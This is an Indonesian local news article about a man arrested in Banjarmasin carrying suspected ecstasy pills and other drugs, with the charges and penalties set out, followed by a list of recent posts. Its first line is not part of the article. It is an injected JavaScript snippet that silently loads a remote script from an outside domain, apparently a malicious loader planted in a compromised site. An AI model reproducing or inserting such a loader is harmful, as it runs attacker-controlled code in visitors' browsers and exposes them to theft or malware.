(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Mengaku Hanya Senang-senang, Al Kedapatan Bawa 6 Biji Ekstasi


BANJARMASIN, Polsek Banjarmasin Tengah mendapati Al (38) membawa obat-obatan terlarang di Jalan Djok Menyata, Kelurahan Kertak Baru, Banjarmasin Timur, Sabtu (13/1) dinihari sekitar pukul 01.00 Wita.

Al, setelah diperiksa adalah seorang karyawan swasta, warga Trans Kalimantan Komplek Persada Permai, Desa Semangat Dalam, Kecamatan Alalak, Barito Kuala.

Kanit Reskrim Polsek Banteng Ipda Achmad Doni  Meidianto STK mengatakan, penangkapan tersangka dilakukan Unit Reskrim Polsek Banteng Bripka Tri Darma Rahmadi dan Bripda Aprizal Putera Dipa yang sedang melaksanakan giat patroli wilayah.

Dua anggota Polsek Banteng (Banjarmasin Tengah) ini kemudian melihat Al yang sedang duduk di pinggir jalan dengan gerak-gerik mencurigakan.

Setelah itu dilakukan penggeledahan terhadap Al, dan ternyata ditemukan barang bukti berupa 6 butir yang diduga narkotika jenis inek berlogo micky mouse warna merah muda. Dari tangan Al juga didapati 3 butir carnophen dan 1 butir obat berbentuk kapsul berwarna emas yang belum diketahui jenisnya. Obat-obatan terlarang itu oleh Al disembunyikan bersama handphone Blackberry di saku kantong celana bagian depan sebelah kiri.

Tersangka dijerat pasal 114 UU No.35 tahun 2009 tentang menjual, membeli, menerima, menjadi perantara dalam jual beli, menukar atau menyerahkan narkotika golongan I.

“Pelaku akan dikenakan pidana penjara seumur hidup, paling singkat 5 tahun, paling lama 20 tahun dan pidana denda paling sedikit Rp 1 miliar rupiah dan paling banyak Rp 10 miliar rupiah,” kata Kanit Reskrim Polsek Banteng.

Dari pengakuan tersangka, ia membawa barang terlarang tersebut untuk bersenang-senang saja. Pelaku beserta barang bukti dibawa dan diamankan di Polsek Banjarmasin Tengah guna pemeriksaan lebih lanjut. (ammar)

Foto : istimewa

 

Reporter : Ammar
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.